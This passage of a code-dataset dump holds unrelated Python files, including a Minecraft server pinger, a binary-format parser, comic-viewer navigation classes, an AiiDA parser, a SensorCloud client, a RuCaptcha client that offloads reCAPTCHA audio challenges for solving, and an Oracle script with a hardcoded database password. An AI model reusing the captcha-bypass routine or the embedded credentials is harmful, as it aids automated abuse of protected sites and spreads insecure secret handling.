data[7]\r\n        s_dict['gamemode'] = data[8]\r\n    except IndexError:\r\n        pass\r\n\r\n    return s_dict\r\n\r\nasync def cleanup_args(server_str, _port=None):\r\n    if ':' in server_str and _port is None:\r\n        split = server_str.split(':')\r\n        ip = split[0]\r\n        try:\r\n            port = int(split[1])\r\n        except ValueError:\r\n            port = None\r\n    else:\r\n        ip = server_str\r\n        port = _port\r\n\r\n    if port is None:\r\n        str_port = ''\r\n    else:\r\n        str_port = f':{port}'\r\n\r\n    return ip, port, str_port\r\n\r\nasync def unified_mcping(server_str, _port=None, _ver=None):\r\n    ip, port, str_port = await cleanup_args(server_str, _port) # cleanup input\r\n\r\n    if _ver == 'status':\r\n        ping_status_partial = partial(ping_status, f'{ip}{str_port}')\r\n        with concurrent.futures.ThreadPoolExecutor() as pool:\r\n            return await loop.run_in_executor(pool, ping_status_partial)\r\n    elif _ver == 'query':\r\n        query_status_partial = partial(query_status, f'{ip}{str_port}')\r\n        with concurrent.futures.ThreadPoolExecutor() as pool:\r\n            return await loop.run_in_executor(pool, query_status_partial)\r\n    elif _ver == 'raknet':\r\n        raknet_status_partial = partial(raknet_status, ip, port)\r\n        with concurrent.futures.ThreadPoolExecutor() as pool:\r\n            return await loop.run_in_executor(pool, raknet_status_partial)\r\n    else:\r\n        tasks = [\r\n            loop.create_task(unified_mcping(ip, port, 'status')),\r\n            loop.create_task(unified_mcping(ip, port, 'query')),\r\n            loop.create_task(unified_mcping(ip, port, 'raknet'))\r\n        ]\r\n\r\n        done = 0\r\n\r\n        while done <= 3:\r\n            await asyncio.sleep(.05)\r\n\r\n            for task in tasks:\r\n                if task.done():\r\n                    done += 1\r\n                    result = task.result()\r\n                    if result['online'] == True:\r\n                        return result\r\n\r\n        return default\r\n\r\nasync def handler(r):\r\n    host = r.headers.get('host')\r\n    try:\r\n        port = int(r.headers.get('port'))\r\n    except ValueError:\r\n        port = None\r\n\r\n    if host is None:\r\n        return web.Response(status=400)\r\n\r\n    if port == 0:\r\n        port = None\r\n\r\n    status = await unified_mcping(host, port)\r\n    return web.json_response(status)\r\n\r\nweb_app = web.Application()\r\nweb_app.router.add_view('/mcping', handler)\r\n\r\n# This code is none blocking\r\n# web_runner = web.AppRunner(web_app)\r\n# await web_runner.setup()\r\n# site = web.TCPSite(web_runner, 'localhost', 6942)\r\n# await site.start()\r\n\r\nloop = asyncio.get_event_loop()\r\nweb.run_app(web_app, host='localhost', port=6942) # this is blocking\r\n","sub_path":"mcping_server.py","file_name":"mcping_server.py","file_ext":"py","file_size_in_byte":7025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"437425153","text":"from kaitaistruct import KaitaiStruct\n\nclass VlqBase128Le(KaitaiStruct):\n    \"\"\"A variable-length unsigned integer using base128 encoding. 1-byte groups\n    consist of 1-bit flag of continuation and 7-bit value chunk, and are ordered\n    \"least significant group first\", i.e. in \"little-endian\" manner.\n\n    This particular encoding is specified and used in:\n\n    * DWARF debug file format, where it's dubbed \"unsigned LEB128\" or \"ULEB128\".\n      http://dwarfstd.org/doc/dwarf-2.0.0.pdf - page 139\n    * Google Protocol Buffers, where it's called \"Base 128 Varints\".\n      https://developers.google.com/protocol-buffers/docs/encoding?csw=1#varints\n    * Apache Lucene, where it's called \"VInt\"\n      http://lucene.apache.org/core/3_5_0/fileformats.html#VInt\n    * Apache Avro uses this as a basis for integer encoding, adding ZigZag on\n      top of it for signed ints\n      http://avro.apache.org/docs/current/spec.html#binary_encode_primitive\n\n    More information on this encoding is available at\n    https://en.wikipedia.org/wiki/LEB128\n\n    This particular implementation supports serialized values to up 8 bytes\n    long.\n    \"\"\"\n    def __init__(self, _io, _parent=None, _root=None):\n        self._io = _io\n        self._parent = _parent\n        self._root = _root if _root else self\n        self._read()\n\n    def _read(self):\n        self.groups = []\n        i = 0\n\n        while True:\n            _ = self._root.Group(self._io, self, self._root)\n            self.groups.append(_)\n\n            if not _.has_next:\n                break\n\n            i += 1\n\n    class Group(KaitaiStruct):\n        \"\"\"One byte group, clearly divided into 7-bit \"value\" chunk and 1-bit\n        \"continuation\" flag.\n        \"\"\"\n        def __init__(self, _io, _parent=None, _root=None):\n            self._io = _io\n            self._parent = _parent\n            self._root = _root if _root else self\n            self._read()\n\n        def _read(self):\n            self.b = self._io.read_u1()\n\n        @property\n        def has_next(self):\n            \"\"\"If true, then we have more bytes to read.\"\"\"\n            if hasattr(self, \"_m_has_next\"):\n                return self._m_has_next if hasattr(self, \"_m_has_next\") else None\n\n            self._m_has_next = (self.b & 128) != 0\n\n            return self._m_has_next if hasattr(self, \"_m_has_next\") else None\n\n        @property\n        def value(self):\n            \"\"\"The 7-bit (base128) numeric value chunk of this group.\"\"\"\n            if hasattr(self, \"_m_value\"):\n                return self._m_value if hasattr(self, \"_m_value\") else None\n\n            self._m_value = (self.b & 127)\n\n            return self._m_value if hasattr(self, \"_m_value\") else None\n\n    @property\n    def len(self):\n        if hasattr(self, \"_m_len\"):\n            return self._m_len if hasattr(self, \"_m_len\") else None\n\n        self._m_len = len(self.groups)\n\n        return self._m_len if hasattr(self, \"_m_len\") else None\n\n    @property\n    def value(self):\n        \"\"\"Resulting value as normal integer.\"\"\"\n        if hasattr(self, \"_m_value\"):\n            return self._m_value if hasattr(self, \"_m_value\") else None\n\n        self._m_value = sum(\n            g.value << (7 * i) for i, g in enumerate(self.groups))\n\n        return self._m_value if hasattr(self, \"_m_value\") else None\n","sub_path":"src/omod/extraction/parsers/vlq_base128_le.py","file_name":"vlq_base128_le.py","file_ext":"py","file_size_in_byte":3296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"617083001","text":"# Written by James Aylward #\r\n\r\nimport wx\r\nfrom SimulationWindow import *\r\n\r\ndef main():\r\n\r\n    while True:           \r\n        try:\r\n            update_time = int(input(\"Update time (ms): \"))\r\n            row_count = int(input(\"Row count:\"))\r\n            element_count = int(input(\"Column count:\"))\r\n            outline = int(input(\"Outline (1 or 0):\"))\r\n            cell_size = int(input(\"Cell size: \"))\r\n\r\n        except ValueError:\r\n            print(\"\\nWrong value types entered\\n\")\r\n        \r\n        else:\r\n            break\r\n\r\n    app = wx.App()\r\n    simulationWindow = SimulationWindow(row_count, element_count, cell_size, update_time, outline) \r\n    simulationWindow.Show()\r\n    app.MainLoop()\r\n\r\nif __name__ == \"__main__\":\r\n    main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"561162349","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 13 20:47:28 2017\n\n@author: Caasar\n\"\"\"\nfrom __future__ import division\n\n#try:\n#    from PySide import QtCore\n#except ImportError:\n#    from PyQt4 import QtCore\n\nINF_POINT = 1000000000\n\ndef crop_image(img, prevImg, thr=50.0, min_lines=25, stop_thr=150):\n    try:\n        import numpy as np\n    except ImportError:\n        return img\n\n    if thr <= 0.0:\n        return img\n\n    assert img.size[0] == prevImg.size[0]\n    arr1 = np.asarray(prevImg).astype(np.float)\n    arr2 = np.asarray(img).astype(np.float)\n    for i in range(arr1.shape[0] - 1, -1, -1):\n        if arr1[i].min() < 254:\n            break\n\n    start = None\n    mindist = np.inf\n    dists = []\n    for j in range(min_lines, arr2.shape[0]):\n        sdist = 0.0\n        for offset in range(min_lines):\n            cdist = np.abs(arr1[i-offset] - arr2[j-offset]).sum(1).max() / 3\n            sdist += cdist\n            if cdist > stop_thr:\n                sdist = np.inf\n                break\n        sdist /= min_lines\n        dists.append(sdist)\n        if sdist < mindist:\n            start = j + 1\n            mindist = sdist\n\n        if mindist < thr and sdist > thr:\n            break\n    if start is None:\n        for start in range(arr2.shape[0]):\n            if arr2[start].min() > 254:\n                break\n\n    if start > 0:\n        return img.crop((0, start, img.size[0], img.size[1]))\n    else:\n        return img\n\n\nclass BaseMover(object):\n    MaxIRange = 15\n    FilterLen = 5\n    MinRho = 0.8\n\n    def __init__(self, viewer, name):\n        self.viewer = viewer\n        self.name = name\n        self._continuous = False\n        self._merge_threshold = 50.0\n        self._tops = []\n        self._bottoms = []\n\n    def step_sizes(self, overlap):\n        \"\"\"\n        Return the step size in x and y given the overlap in percent.\n        \"\"\"\n        view_rect = self.viewer.viewport().rect()\n        view_rect = self.viewer.mapToScene(view_rect).boundingRect()\n        dx = int(view_rect.width()*(100-overlap)/100)\n        dy = int(view_rect.height()*(100-overlap)/100)\n        return dx, dy, view_rect, self.viewer.sceneRect()\n\n    def align_view(self, view, scene):\n        dx = 0\n        if view.width() >= scene.width():\n            dx = scene.center().x() - view.center().x()\n        elif view.right() > scene.right():\n            dx = scene.right() - view.right()\n        elif view.left() < scene.left():\n            dx = scene.left() - view.left()\n\n        dy = 0\n        if view.height() >= scene.height():\n            dy = scene.center().y() - view.center().y()\n        elif view.bottom() > scene.bottom():\n            dy = scene.bottom() - view.bottom()\n        elif view.top() < scene.top():\n            dy = scene.top() - view.top()\n\n        next_view = view.adjusted(dx, dy, dx, dy)\n        prev_view = self.viewer.viewport().rect()\n        prev_view = self.viewer.mapToScene(prev_view).boundingRect()\n        diff = next_view.center() - prev_view.center()\n        diff = diff.x() * diff.x() + diff.y() * diff.y()\n        return next_view, diff > 4.0\n\n    def next_view(self, overlap):\n        raise NotImplementedError()\n\n    def prev_view(self, overlap):\n        raise NotImplementedError()\n\n    def first_view(self, item):\n        raise NotImplementedError()\n\n    def last_view(self, item):\n        raise NotImplementedError()\n\n    def crop_image(self, img, prevImg):\n        if prevImg is not None and self.continuous_height:\n            return crop_image(img, prevImg, self._merge_threshold)\n        else:\n            return img\n\n    def segment_image(self, img):\n        if not self._continuous:\n            return [], []\n        try:\n            import numpy as np\n            from scipy import ndimage\n        except ImportError:\n            return [], []\n\n        arr = np.asarray(img.convert('L'))\n        # find the intensity range for each row\n        arrMin = arr.min(1).astype(np.int16)\n        arrMax = arr.max(1).astype(np.int16)\n        arrRange = arrMax - arrMin\n        # ensure minimal range for each row is >= MaxIRange to ensure\n        # a stable calculation of the correlation coeficient\n        arrOff = np.maximum(self.MaxIRange - arrRange, 0) // 2\n        arrMin -= arrOff\n        arrMax += arrOff\n        # build the reference intensity range based on the center\n        # of the two neighbouring rows\n        refCenter = np.empty_like(arrMin)\n        refCenter[1:-1] = arrMax[:-2] + arrMax[2:] + arrMin[:-2] + arrMin[2:]\n        refCenter >>= 2\n        refCenter[0] = (arrMax[1] + arrMin[1]) // 2\n        refCenter[-1] = (arrMax[-2] + arrMin[-2]) // 2\n        refMin = refCenter - self.MaxIRange // 2\n        refMax = refCenter + self.MaxIRange // 2\n        # calculate the correlation coeficient rho\n        compMin = np.maximum(arrMin, refMin)\n        compMax = np.minimum(arrMax, refMax)\n        compRange = np.maximum(compMax - compMin, 0)\n        rhos = compRange / np.sqrt(self.MaxIRange * (arrMax - arrMin))\n        # consider rows with a rho larger than MinRho to be background\n        # and use a binary openinig to remove noise detecions\n        isw = ndimage.binary_opening(rhos > self.MinRho,\n                                     structure=np.ones(self.FilterLen, bool))\n        # find the start and stop index for the background rows\n        start = np.flatnonzero(isw[:-1] & (~isw[1:])) - self.FilterLen + 1\n        stop = np.flatnonzero((~isw[:-1]) & isw[1:]) + self.FilterLen + 1\n        start = start.tolist()\n        stop = stop.tolist()\n\n        if not np.all(isw):\n            if len(start) == 0:\n                start.insert(0, 0)\n            if len(stop) == 0:\n                stop.append(len(arr))\n\n            if start[0] > stop[0]:\n                start.insert(0, 0)\n            if stop[-1] < start[-1]:\n                stop.append(len(arr))\n\n        return start, stop\n\n\n    def set_segments(self, tops, bottoms):\n        self._tops = tops[::-1]\n        self._bottoms = bottoms\n\n    @property\n    def continuous(self):\n        return self._continuous\n\n    @continuous.setter\n    def continuous(self, continuous):\n        self._continuous = continuous\n\n    @property\n    def merge_threshold(self):\n        return self._merge_threshold\n\n    @merge_threshold.setter\n    def merge_threshold(self, thr):\n        self._merge_threshold = thr\n\n    @property\n    def continuous_height(self):\n        raise NotImplementedError()\n\n    @property\n    def continuous_width(self):\n        raise NotImplementedError()\n\n    @classmethod\n    def append_item(cls, scene_rect, item_rect):\n        return item_rect\n\n    def _next_segment(self, view, dy):\n        viewTop = int(view.top())\n        viewBottom = int(view.bottom())\n        nextBottom = viewBottom + dy\n        minTop = viewTop\n        targetBottom = None\n        targetTop = None\n        for cb in self._bottoms:\n            if nextBottom < cb:\n                break\n            if viewBottom < cb:\n                targetBottom = cb\n            elif minTop < cb:\n                minTop = cb\n\n        minTop -= 2 * self.FilterLen\n        for ct in self._tops:\n            if viewTop < minTop and minTop < ct:\n                targetTop = ct\n            if ct < viewBottom:\n                break\n\n        if targetTop is not None:\n            return targetTop - viewTop\n        elif targetBottom is not None:\n            return targetBottom - viewBottom\n        else:\n            return dy\n\n    def _prev_segment(self, view, dy):\n        viewTop = int(view.top())\n        viewBottom = int(view.bottom())\n\n\n        nextTop = viewTop - dy\n        maxBottom = viewBottom\n        targetTop = None\n        targetBottom = None\n        for ct in self._tops:\n            if ct < nextTop:\n                break\n            if ct < viewTop:\n                targetTop = ct\n            elif ct < maxBottom:\n                maxBottom = ct\n\n        maxBottom += 2 * self.FilterLen\n        for cb in self._bottoms:\n            if maxBottom < viewBottom and cb < maxBottom:\n                targetBottom = cb\n            if viewTop < cb:\n                break\n\n        if targetBottom is not None:\n            return viewBottom - targetBottom\n        elif targetTop is not None:\n            return viewTop - targetTop\n        else:\n            return dy\n\n    def __as_immutable__(self):\n        return self.name\n\n    def __hash__(self):\n        return hash(self.name)\n\n    def __eq__(self, other):\n        return isinstance(other, BaseMover) and other.name == self.name\n\nclass DownLeftMover(BaseMover):\n    def __init__(self, viewer):\n        super(DownLeftMover, self).__init__(viewer, 'Down Left')\n\n    @classmethod\n    def append_item(cls, scene_rect, item_rect):\n        refPoint = scene_rect.topLeft()\n        item_rect.moveTopRight(refPoint)\n        return scene_rect.united(item_rect)\n\n    def next_view(self, overlap):\n        dx, dy, view, scene = self.step_sizes(overlap)\n        if scene.bottom() > view.bottom():\n            view.adjust(0, dy, 0, dy)\n        elif scene.left() < view.left():\n            view.adjust(-dx, -INF_POINT, -dx, -INF_POINT)\n        return self.align_view(view, scene)\n\n    def prev_view(self, overlap):\n        dx, dy, view, scene = self.step_sizes(overlap)\n        if scene.top() < view.top():\n            view.adjust(0, -dy, 0, -dy)\n        elif scene.right() > view.right():\n            view.adjust(dx, INF_POINT, dx, INF_POINT)\n        return self.align_view(view, scene)\n\n    def first_view(self, item):\n        item_rect = item.boundingRect()\n        dx, dy, view, scene = self.step_sizes(0)\n        view.moveTopRight(item_rect.topRight())\n        return view\n\n    def last_view(self, item):\n        item_rect = item.boundingRect()\n        dx, dy, view, scene = self.step_sizes(0)\n        view.moveBottomLeft(item_rect.bottomLeft())\n        return view\n\n    @property\n    def continuous_height(self):\n        return False\n\n    @property\n    def continuous_width(self):\n        return self._continuous\n\n\nclass DownRightMover(BaseMover):\n    def __init__(self, viewer):\n        super(DownRightMover, self).__init__(viewer, 'Down Right')\n\n    @classmethod\n    def append_item(cls, scene_rect, item_rect):\n        refPoint = scene_rect.topRight()\n        item_rect.moveTopLeft(refPoint)\n        return scene_rect.united(item_rect)\n\n    def next_view(self, overlap):\n        dx, dy, view, scene = self.step_sizes(overlap)\n        if scene.bottom() > view.bottom():\n            view.adjust(0, dy, 0, dy)\n        elif scene.right() > view.right():\n            view.adjust(dx, -INF_POINT, dx, -INF_POINT)\n        return self.align_view(view, scene)\n\n    def prev_view(self, overlap):\n        dx, dy, view, scene = self.step_sizes(overlap)\n        if scene.top() < view.top():\n            view.adjust(0, -dy, 0, -dy)\n        elif scene.left() < view.left():\n            view.adjust(-dx, INF_POINT, -dx, INF_POINT)\n        return self.align_view(view, scene)\n\n    def first_view(self, item):\n        item_rect = item.boundingRect()\n        dx, dy, view, scene = self.step_sizes(0)\n        view.moveTopLeft(item_rect.topLeft())\n        return view\n\n    def last_view(self, item):\n        item_rect = item.boundingRect()\n        dx, dy, view, scene = self.step_sizes(0)\n        view.moveBottomRight(item_rect.bottomRight())\n        return view\n\n    @property\n    def continuous_height(self):\n        return False\n\n    @property\n    def continuous_width(self):\n        return self._continuous\n\n\nclass RightDownMover(BaseMover):\n    def __init__(self, viewer):\n        super(RightDownMover, self).__init__(viewer, 'Right Down')\n\n    @classmethod\n    def append_item(cls, scene_rect, item_rect):\n        refPoint = scene_rect.bottomLeft()\n        item_rect.moveTopLeft(refPoint)\n        return scene_rect.united(item_rect)\n\n    def next_view(self, overlap):\n        dx, dy, view, scene = self.step_sizes(overlap)\n        dy = self._next_segment(view, dy)\n        if scene.right() > view.right():\n            view.adjust(dx, 0, dx, 0)\n        elif scene.bottom() > view.bottom():\n            view.adjust(-INF_POINT, dy, INF_POINT, dy)\n        return self.align_view(view, scene)\n\n    def prev_view(self, overlap):\n        dx, dy, view, scene = self.step_sizes(overlap)\n        dy = self._prev_segment(view, dy)\n        if scene.left() < view.left():\n            view.adjust(-dx, 0, -dx, 0)\n        elif scene.top() < view.top():\n            view.adjust(INF_POINT, -dy, INF_POINT, -dy)\n        return self.align_view(view, scene)\n\n    def first_view(self, item):\n        item_rect = item.boundingRect()\n        dx, dy, view, scene = self.step_sizes(0)\n        view.moveTopLeft(item_rect.topLeft())\n        return view\n\n    def last_view(self, item):\n        item_rect = item.boundingRect()\n        dx, dy, view, scene = self.step_sizes(0)\n        view.moveBottomRight(item_rect.bottomRight())\n        return view\n\n    @property\n    def continuous_height(self):\n        return self._continuous\n\n    @property\n    def continuous_width(self):\n        return False\n\n\nclass LeftDownMover(BaseMover):\n    def __init__(self, viewer):\n        super(LeftDownMover, self).__init__(viewer, 'Left Down')\n\n    @classmethod\n    def append_item(cls, scene_rect, item_rect):\n        refPoint = scene_rect.bottomRight()\n        item_rect.moveTopRight(refPoint)\n        return scene_rect.united(item_rect)\n\n    def next_view(self, overlap):\n        dx, dy, view, scene = self.step_sizes(overlap)\n        dy = self._next_segment(view, dy)\n        if scene.left() < view.left():\n            view.adjust(-dx, 0, -dx, 0)\n        elif scene.bottom() > view.bottom():\n            view.adjust(INF_POINT, dy, INF_POINT, dy)\n        return self.align_view(view, scene)\n\n    def prev_view(self, overlap):\n        dx, dy, view, scene = self.step_sizes(overlap)\n        dy = self._prev_segment(view, dy)\n        if scene.right() > view.right():\n            view.adjust(dx, 0, dx, 0)\n        elif scene.top() < view.top():\n            view.adjust(-INF_POINT, -dy, -INF_POINT, -dy)\n        return self.align_view(view, scene)\n\n    def first_view(self, item):\n        item_rect = item.boundingRect()\n        dx, dy, view, scene = self.step_sizes(0)\n        view.moveTopRight(item_rect.topRight())\n        return view\n\n    def last_view(self, item):\n        item_rect = item.boundingRect()\n        dx, dy, view, scene = self.step_sizes(0)\n        view.moveBottomLeft(item_rect.bottomLeft())\n        return view\n\n    @property\n    def continuous_height(self):\n        return self._continuous\n\n    @property\n    def continuous_width(self):\n        return False\n\n\ndef known_movers():\n    return list(BaseMover.__subclasses__())\n","sub_path":"movers.py","file_name":"movers.py","file_ext":"py","file_size_in_byte":14626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"318384455","text":"# -*- coding: utf-8 -*-\n\nfrom aiida.parsers.parser import Parser\nfrom aiida.parsers.exceptions import OutputParsingError\nfrom aiida.orm.data.parameter import ParameterData\n\nimport json\n\nclass MultiplyParser(Parser):\n    \"\"\"Parser class for parsing output of multiplication.\n    \"\"\"\n\n    def parse_with_retrieved(self, retrieved):\n        \"\"\"Parse output data folder, store results in database.\n\n        :param retrieved: \n        :returns: \n          bool: success\n          node_list: list of new nodes to be stored in the db\n        \"\"\"\n        success = False\n        node_list = ()\n\n        # Check that the retrieved folder is there\n        try:\n            out_folder = retrieved[self._calc._get_linkname_retrieved()]\n        except KeyError:\n            self.logger.error(\"No retrieved folder found\")\n            return success, node_list\n\n        # check what is inside the folder\n        list_of_files = out_folder.get_folder_list()\n\n        # we need at least the output file name as defined in calcs.py\n        if self._calc._OUTPUT_FILE_NAME not in list_of_files:\n            self.logger.error(\"Output file not found\")\n            return success, node_list\n\n        try:\n            with open( out_folder.get_abs_path(self._calc._OUTPUT_FILE_NAME) ) as f:\n                out_dict = json.load(f)\n        except ValueError:\n            self.logger.error(\"Error parsing the output json\")\n            return success, node_list\n\n        output_data = ParameterData(dict=out_dict)\n        link_name = self.get_linkname_outparams()\n        node_list = [(link_name, output_data)]\n        success = True\n\n        return success, node_list\n\n","sub_path":"aiida_template/parsers/multiply.py","file_name":"multiply.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"240036242","text":"import requests\nimport os, shutil\nimport time\nimport hashlib\n\nfrom .config import url_request, url_response, app_key\nfrom .errors import RuCaptchaError\n\n\nclass MediaCaptcha:\n    \"\"\"\n    Класс MediaCaptcha используется для решения аудиокапчи из ReCaptcha v2 и SolveMediaCaptcha\n    \"\"\"\n    def __init__(self, rucaptcha_key, recaptchavoice=False, solveaudio=False, sleep_time=5):\n        \"\"\"\n        Метод создаёт папки, принимает параметры для работы c различными типами капчи.\n        :param rucaptcha_key: Ключ от сайта RuCaptcha\n        :param recaptchavoice: Передать True, если передаваемая капча является ReCaptcha\n        :param solveaudio: Передать True, если передаваемая капча является SolveMedia\n        :param sleep_time: Время ожидания решения капчи\n        \"\"\"\n        self.recaptchavoice = recaptchavoice\n        self.solveaudio = solveaudio\n\n        self.RUCAPTCHA_KEY = rucaptcha_key\n        self.sleep_time = sleep_time\n        self.audio_path = os.path.normpath('mediacaptcha_audio')\n        try:\n            if not os.path.exists(self.audio_path):\n                os.mkdir(self.audio_path)\n            if not os.path.exists(\".cache\"):\n                os.mkdir(\".cache\")\n        except Exception as err:\n            print(err)\n\n    # Работа с капчёй\n    def captcha_handler(self, audio_name=None, audio_download_link=None):\n        \"\"\"\n        Метод полчает параметры и аозвращает решение капчи.\n        Передаётся лишь один из параметров, либо audio_name либо audio_download_link.\n        :param audio_name: Передаётся имя файла который должен лежать в папке с названием \"mediacaptcha_audio\", рядом со\n                            скриптом.\n        :param audio_download_link: Передаётся ссылка для скачивания аудио файла. Не ссылка на капчу или ещё что-либо.\n                                    А именно ссылка по которой можно скачать аудио файл. Для последующей отправке RuCaptcha.\n        :return: ВОзвращает решение капчи.\n        \"\"\"\n        # Если передано имя файла - ищем его в папке, перименовываем\n        if audio_name:\n            audio_hash = hashlib.sha224(audio_name.encode('utf-8')).hexdigest()\n            with open(os.path.join(self.audio_path, audio_name), 'rb') as audio_src:\n                with open(os.path.join(self.audio_path, 'aud-{0}.mp3'.format(audio_hash)), 'wb') as audio_hash_src:\n                    audio_hash_src.write(audio_src.read())\n\n        # Если передана ссылка - скачиваем файл в папку, переименовываем и сохраняем\n        elif audio_download_link:\n            audio_hash = hashlib.sha224(audio_download_link.encode('utf-8')).hexdigest()\n            content = requests.get(audio_download_link).content\n\n            with open(os.path.join(self.audio_path,'aud-{0}.mp3'.format(audio_hash)), 'wb') as out:\n                out.write(content)\n\n        with open(os.path.join(self.audio_path, 'aud-{0}.mp3'.format(audio_hash)), 'rb') as captcha_audio:\n            # Отправляем аудио фа��лом\n            files = {'file': captcha_audio}\n            # Создаём пайлоад, вводим ключ от сайта, выбираем метод ПОСТ и ждём ответа в JSON-формате\n            payload = {\"key\": self.RUCAPTCHA_KEY,\n                       \"method\": \"post\",\n                       \"json\": 1,\n                       \"soft_id\": app_key}\n\n            # В зависимости от переданного параметра выбирается тип капчи\n            if self.recaptchavoice:\n                payload.update({'recaptchavoice':1})\n            elif self.solveaudio:\n                payload.update({'solveaudio': 1})\n\n            # Отправляем на рукапча аудио капчи и другие парметры,\n            # в результате получаем JSON ответ с номером решаемой капчи и получая ответ - извлекаем номер\n            captcha_id = requests.request('POST',\n                                           url_request,\n                                           data=payload,\n                                           files=files).json()\n        # Фильтрация ошибки\n        if captcha_id['status'] is 0:\n            return RuCaptchaError(captcha_id['request'])\n\n        captcha_id = captcha_id['request']\n\n        # удаляем файл капчи и врменные файлы\n        os.remove(os.path.join(self.audio_path, 'aud-{0}.mp3'.format(audio_hash)))\n        # Ожидаем решения капчи\n        time.sleep(self.sleep_time)\n        while True:\n            # отправляем запрос на результат решения капчи, если ещё капча не решена - ожидаем 5 сек\n            # если всё ок - идём дальше\n            payload = {'key': self.RUCAPTCHA_KEY,\n                       'action': 'get',\n                       'id': captcha_id,\n                       'json': 1,}\n            # отправляем запрос на результат решения капчи, если не решена ожидаем\n            captcha_response = requests.post(url_response, data = payload)\n            if captcha_response.json()['request']=='CAPCHA_NOT_READY':\n                time.sleep(self.sleep_time)\n            elif captcha_response.json()[\"status\"]==0:\n                return RuCaptchaError(captcha_response.json()[\"request\"])\n            elif captcha_response.json()[\"status\"]==1 :\n                return captcha_response.json()['request']\n\n    def __del__(self):\n        if os.path.exists(\".cache\"):\n            shutil.rmtree(\".cache\")\n","sub_path":"python_rucaptcha/MediaCaptcha.py","file_name":"MediaCaptcha.py","file_ext":"py","file_size_in_byte":6320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"421404059","text":"\nimport cx_Oracle\nimport os\nimport sys\nprint(sys.stdout.encoding)\n\nos.environ[\"NLS_LANG\"]=\"SIMPLIFIED CHINESE_CHINA.ZHS16GBK\"\nprint(cx_Oracle.version)\n\nusername = \"bigdata\"\npwd = \"atadgib#509\"\nhost = \"192.168.60.154\"\nport = 1521\ndbname = \"orcl\"\n\ndsn = cx_Oracle.makedsn(host,port,dbname)\n#print(type(dsn))\nconn = cx_Oracle.connect(\"bigdata\",\"atadgib#509\",dsn,charset=\"gbk\")\n\ncursor = conn.cursor()\n\ncursor.close()\nconn.close()","sub_path":"poracle.py","file_name":"poracle.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"558536143","text":"import http.client\nimport xdrlib\nimport time\nimport math\n\nAUTH_SERVER = \"sensorcloud.microstrain.com\"\n\n#samplerate types\nHERTZ = 1\nSECONDS = 0\n\ndef authenticate_key(device_id, key):\n    \"\"\"\n    authenticate with sensorcloud and get the server and auth_key for all subsequent api requests\n    \"\"\"\n    conn = http.client.HTTPSConnection(AUTH_SERVER)\n\n    headers = {\"Accept\": \"application/xdr\"}\n    url = \"/SensorCloud/devices/%s/authenticate/?version=1&key=%s\"%(device_id, key)\n\n    print(\"authenticating...\")\n    conn.request('GET', url=url, headers=headers)\n    response =conn.getresponse()\n    print(response.status, response.reason)\n\n    #if response is 200 ok then we can parse the response to get the auth token and server\n    if response.status == http.client.OK: \n        print(\"Credential are correct\")\n            \n        #read the body of the response\n        data = response.read()\n        \n        #response will be in xdr format. Create an XDR unpacker and extract the token and server as strings \n        unpacker = xdrlib.Unpacker(data)\n        auth_token = unpacker.unpack_string().decode('utf-8')\n        server = unpacker.unpack_string().decode('utf-8')\n        \n        print(\"unpacked xdr.  server:%s  token:%s\"%(server, auth_token))\n\n        return server, auth_token\n\ndef authenticate_alternate(device_id, username, password):\n    \"\"\"\n    authenticate with sensorcloud and get the server and auth_key for all subsequent api requests\n    \"\"\"\n    conn = http.client.HTTPSConnection(AUTH_SERVER)\n\n    headers = {\"Accept\": \"application/xdr\"}\n    url = \"/SensorCloud/devices/%s/authenticate/?version=1&username=%s&password=%s\"%(device_id, username, password)\n\n    print(\"authenticating...\")\n    conn.request('GET', url=url, headers=headers)\n    response =conn.getresponse()\n    print(response.status, response.reason)\n\n    #if response is 200 ok then we can parse the response to get the auth token and server\n    if response.status == http.client.OK: \n        print(\"Credential are correct\")\n            \n        #read the body of the response\n        data = response.read()\n        \n        #response will be in xdr format. Create an XDR unpacker and extract the token and server as strings \n        unpacker = xdrlib.Unpacker(data)\n        auth_token = unpacker.unpack_string().decode('utf-8')\n        server = unpacker.unpack_string().decode('utf-8')\n        \n        print(\"unpacked xdr.  server:%s  token:%s\"%(server, auth_token))\n        \n        return server, auth_token\n\ndef addSensor(server, auth_token, device_id, sensor_name, sensor_type=\"\", sensor_label=\"\", sensor_desc=\"\"):\n    \"\"\"\n    Add a sensor to the device. type, label, and description are optional.\n    \"\"\"\n\n    conn = http.client.HTTPSConnection(server)\n\n    url=\"/SensorCloud/devices/%s/sensors/%s/?version=1&auth_token=%s\"%(device_id, sensor_name, auth_token)\n\n    headers = {\"Content-type\" : \"application/xdr\"}\n\n    #addSensor allows you to set the sensor type label and description.  All fileds are strings.\n    #we need to pack these strings into an xdr structure\n    packer = xdrlib.Packer()\n    packer.pack_int(1)  #version 1\n    packer.pack_string(sensor_type.encode('utf-8'))\n    packer.pack_string(sensor_label.encode('utf-8'))\n    packer.pack_string(sensor_desc.encode('utf-8'))\n    data = packer.get_buffer()\n\n    print(\"adding sensor...\")\n    conn.request('PUT', url=url, body=data, headers=headers)\n    response =conn.getresponse()\n    print(response.status , response.reason)\n\n    #if response is 201 created then we know the sensor was added\n    if response.status == http.client.CREATED: \n        print(\"Sensor added\")\n    else:\n        print(\"Error adding sensor. Error:\", response.read())\n\n\n\ndef addChannel(server, auth_token, device_id, sensor_name, channel_name, channel_label=\"\", channel_desc=\"\"):\n    \"\"\"\n    Add a channel to the sensor.  label and description are optional.\n    \"\"\"\n\n    conn = http.client.HTTPSConnection(server)\n\n    url=\"/SensorCloud/devices/%s/sensors/%s/channels/%s/?version=1&auth_token=%s\"%(device_id, sensor_name, channel_name, auth_token)\n\n    headers = {\"Content-type\" : \"application/xdr\"}\n\n    #addChannel allows 